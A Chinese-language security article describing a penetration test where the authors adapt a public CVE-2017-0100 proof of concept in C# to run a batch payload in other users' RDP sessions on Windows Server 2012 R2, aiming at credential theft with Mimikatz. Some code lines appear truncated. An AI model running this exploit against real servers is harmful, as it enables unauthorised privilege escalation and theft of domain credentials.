Windows Server 2012 R2的提權過程解析
近期,我在進行一項安全評估的過程中遇到了一個麻煩。這是某個組織的一台遠程桌面伺服器,安裝的是Windows Server 2012 R2系統,但是我手中的用戶賬號許可權卻非常低。由於我此前也進行過大量的安全評估和測試,因此我清楚地知道如果我能夠將這個用戶賬號的許可權提升為伺服器的本地管理員,那麼我就可以使用Mimikatz(Windows密碼抓取神器)來竊取域名管理員的憑證數據了。
跟我一起進行這項安全審查任務的是我的同事
Chris Myers
,當時我們幾乎用盡了腦海中所能想到的一切方法,但是問題依舊沒有解決。但就在我們打算放棄的時候,CVE-2017-0100進入了我們的視線之中,而這個漏洞正好就是我們所需要的東西。從理論上來說,這個漏洞將允許我們利用任意用戶許可權並通過一個活動會話來在遠程桌面伺服器中執行payload。
這個漏洞的發現者以及PoC的提交者都是
James Forshaw
,PoC使用了會話標記和DCOM Activator並允許用戶通過其他已登錄的用戶會話來執行任意進程。在對原始的PoC代碼進行了分析之後,發現我們仍然需要根據自己目前所面對的情況對他提供的漏洞利用代碼進行修改。
(1)確定漏洞利用代碼所支持的payload類型,並修改payload的識別與執行方式。
下面給出的是原始代碼:
Console.WriteLine("Creating Process inSession {0}after 20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServer server=(IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee",new_session_id));
Uri target =newUri(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System),"notepad.exe"));
server.Execute(target.AbsoluteUri);
在進行了深入分析之後我們發現,代碼中最重要的一個目標參數是一個指向可執行文件的路徑地址,所以我們首先嘗試的是
Casey Smith
發布的payload:
Regsvr32.exe
。但是,我們仍然無法讓IHxHelpPaneServer伺服器的執行函數來接收我們所提供的參數。
因此,我們打算在本地磁碟中保存一個小型.bat文件,並放在一個所有用戶都可以正常訪問的路徑之下,即「C:TEMP」。下面是我們修改後的代碼:
Console.WriteLine("Creating Process inSession {0}after 20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServer server=(IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee",new_session_id));
Uri target = newUri("C:\TEMP\testing.bat");
server.Execute(target.AbsoluteUri);
(2)在每一個會話中執行漏洞利用代碼。
原始的PoC代碼會收集主機中每一個會話的會話ID,但最終只會在一個會話中執行漏洞利用代碼。下面給出的是原始PoC代碼:
try
{
int current_session_id= Process.GetCurrentProcess().SessionId;
int new_session_id= 0;
Console.WriteLine("Waiting For a Target Session");
while (true)
{
IEnumerable
if (sessions.Count() > 0)
{
new_session_id = sessions.First();
break;
}
Thread.Sleep(1000);
}
}
僅僅是在第一個記錄下的會話中執行代碼還遠遠不夠,我們所面臨的情況要求我們能夠在任意用戶許可權和會話進程中執行代碼。為了實現這一目標,我們只需要在收集到的會話信息(IEnumerable對象sessions)中隨機抽取一個會話,然後用這個會話來執行我們的payload即可。由於隨機選擇的固有特性,你可能會遇到用同一用戶會話執行兩次代碼的情況,但考慮到時間有限,我們選擇接受這種情況。
下面給出的是我們修改後的代碼:
try
{
intcurrent_session_id = Process.GetCurrentProcess().SessionId;
int new_session_id= 0;
Console.WriteLine("Waiting For a Target Session");
while (true)
{
IEnumerable
if(sessions.Count() > 0)
{
Random rnd= new Random();
int r = rnd.Next(sessions.Count());
new_session_id = sessions.ElementAt(r);
break;
}
Thread.Sleep(1000);
}
}
(3)保證漏洞利用代碼可以持續運行,直到我們手動終止進程為止…
原始的漏洞利用代碼只會運行一次,運行完畢後便會自動退出。為了解決這個問題,我們只需要將IHxHelpPaneServer執行函數寫在一個while循環裡面就可以了。
下面給出的是原始代碼:
try
{
intcurrent_session_id = Process.GetCurrentProcess().SessionId;
int new_session_id= 0;
Console.WriteLine("Waiting For a Target Session");
while (true)
{
IEnumerable
if(sessions.Count() > 0)
{
new_session_id = sessions.First();
break;
}
Thread.Sleep(1000);
}
Console.WriteLine("Creating Process in Session {0}after20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServerserver =(IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee",new_session_id));
Uri target =newUri(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System),"notepad.exe"));
server.Execute(target.AbsoluteUri);
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
下面給出的是我們修改後的代碼:
try
{
intcurrent_session_id = Process.GetCurrentProcess().SessionId;
int new_session_id= 0;
Console.WriteLine("Waiting For a Target Session");
while (true)
{
IEnumerable
if(sessions.Count() > 0)
{
Random rnd= new Random();
int r =rnd.Next(sessions.Count());
new_session_id = sessions.ElementAt(r);
Console.WriteLine("Creating Process in Session {0}after20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServer server =(IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee",new_session_id));
Uri target= new Uri("C:\TEMP\testing.bat");
server.Execute(target.AbsoluteUri);
}
Thread.Sleep(60000);
}
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
總結
雖然我們對代碼的修改可能不是很完善,但是我們通過對JamesForshaw所提供的PoC進行修改並實現了在WindowsServer 2012 R2上的提權。最終,我們成功地在遠程桌面伺服器中拿到了任意用戶許可權下的shell,而這種許可權也就意味著我們能夠將手中用戶賬號的許可權提升為域名管理員。
* 參考來源:inspired-sec, FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM
※【突發新聞】「血雨腥風」將至?方程式組織黑客工具包再曝光,大量針對Windows系統嚴重0day泄露
※2017 OWASP Top 10十大安全漏洞候選出爐,你怎麼看?
※ShadowBroker是這樣放大招的:Windows零日利用工具更多數據呈現
※【FB TV】一周「BUF大事件」:NSA方程式有更多黑客工具下載了;Word曝0day漏洞
※CIA Vault7泄露文檔第五波:多平台入侵植入和管理控制工具HIVE
TAG:FreeBuf |
※MongoDB系統CentOS 7.1 crash的排障過程
※NBA 2019 全明星賽 Team LeBron 及 Team Giannis 隊長選人過程完整公開
※Biomaterials:肺上皮再生過程中,Fibrillin-2和Tenascin-C消除了年齡差距的影響
※剖析Hadoop和Spark的Shuffle過程差異
※圖解 intel Core i7 CPU生產全過程,漲知識
※Ryan Reynolds 談論《Pokémon: Detective Pikachu》角色 Pikachu 學習過程
※解析|intel i7 CPU生產全過程圖解
※SAP Fiori實施之Transactional Apps實施全過程
※oracle 中 print_table 存儲過程介紹
※「produce48」航拍過程中2名參加者負傷
※年度最強球鞋!一起感受下Virgil Abloh x Air Jordan 1開箱全過程!
※89年巴西小哥Tullius Heuer的創作過程
※MapReduce中源碼分析(map端的過程)
※Facebook也參與了英特爾Cooper Lake CPU的研發過程
※SHINee Key-log6日出擊 公開專輯製作過程
※【PW早報】特斯拉董事會要求馬斯克迴避私有化方案審核過程 / 三星Note9售價7499元起 / PlayStation全球累計銷量超5.253億台 / 中國移動計劃分拆3至4家公司上市
※5G NR的Numerology中的子載波間隔的討論和取捨過程
※iPhone Xs發布全過程:5138元起步,價格感人
※IPhone X在升級IOS 12.1的過程中 爆!炸!了!
※Kubernetes中Node的網路重啟後,所有Pod無法訪問的調查過程